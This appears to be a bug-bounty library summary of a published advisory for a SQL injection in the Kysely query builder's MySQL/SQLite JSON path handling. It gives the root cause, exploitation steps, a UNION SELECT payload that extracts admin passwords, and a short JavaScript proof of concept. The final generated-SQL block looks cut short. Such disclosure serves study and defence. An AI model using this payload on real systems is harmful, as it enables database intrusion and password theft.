# SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using `Kysely<any>`.

Kysely's MySQL/SQLite JSON path compiler concatenates .key()/.at() values into single-quoted path literals unescaped, letting attackers inject SQL and exfiltrate arbitrary tables.

- Payout: Research
- Severity: high
- Program: Kysely
- Found by: EthanKim88
- Disclosed: 2026-03-18
- CVE: CVE-2026-32763
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-wmrf-hv6w-mr66
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wmrf-hv6w-mr66
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:sqli

**Target:** Kysely query compiler (JSON path builder) for MySQL/SQLite dialects
**Root cause:** visitJSONPathLeg() appends user-controlled .key()/.at() values into a single-quoted JSON path string literal without escaping single quotes, unlike sanitizeIdentifier() which doubles delimiters. PostgreSQL routes through sanitizeStringLiteral() and is unaffected.
**Steps:**
1. Build a Kysely query using eb.ref('profile', '->>$').key(userInput) on a SQLite/MySQL dialect.
2. Pass payload `city' as "city" from "users" UNION SELECT password FROM admin -- ` as the key.
3. Compiler emits `select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"`.
4. Execute; UNION result returns admin password rows.
**How found:** Noticed visitJSONPathLeg() appends String(node.value) raw while sanitizeIdentifier() in the same file doubles delimiters; both are non-parameterizable constructs, so the asymmetry flagged the gap. Traced JSONPathBuilder branching to confirm MySQL/SQLite use JSONPathNode while PostgreSQL uses sanitized string literals.
**Exploitation:** Attacker controls a JSON field name (e.g. search API query param) passed to .key(); payload closes the JSON path string, completes the SELECT with `as "city" from "users"`, appends UNION SELECT from a target table, and comments out the trailing Kysely-appended clause with `--`.
**Insight:** When a query builder has both identifier and literal/path constructs that can't be parameterized, audit each for manual escaping — a sanitizer present for one construct is a strong hint the sibling construct was forgotten. Trace dialect-specific node builders to find which paths skip sanitization.

## Proof of concept (copied exactly from the original report)

**SQLite injection PoC exfiltrating admin password**

```
const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
```

**Generated SQL showing injected UNION**

```
select "profile"->>'$.city' as "city" from "users"
```

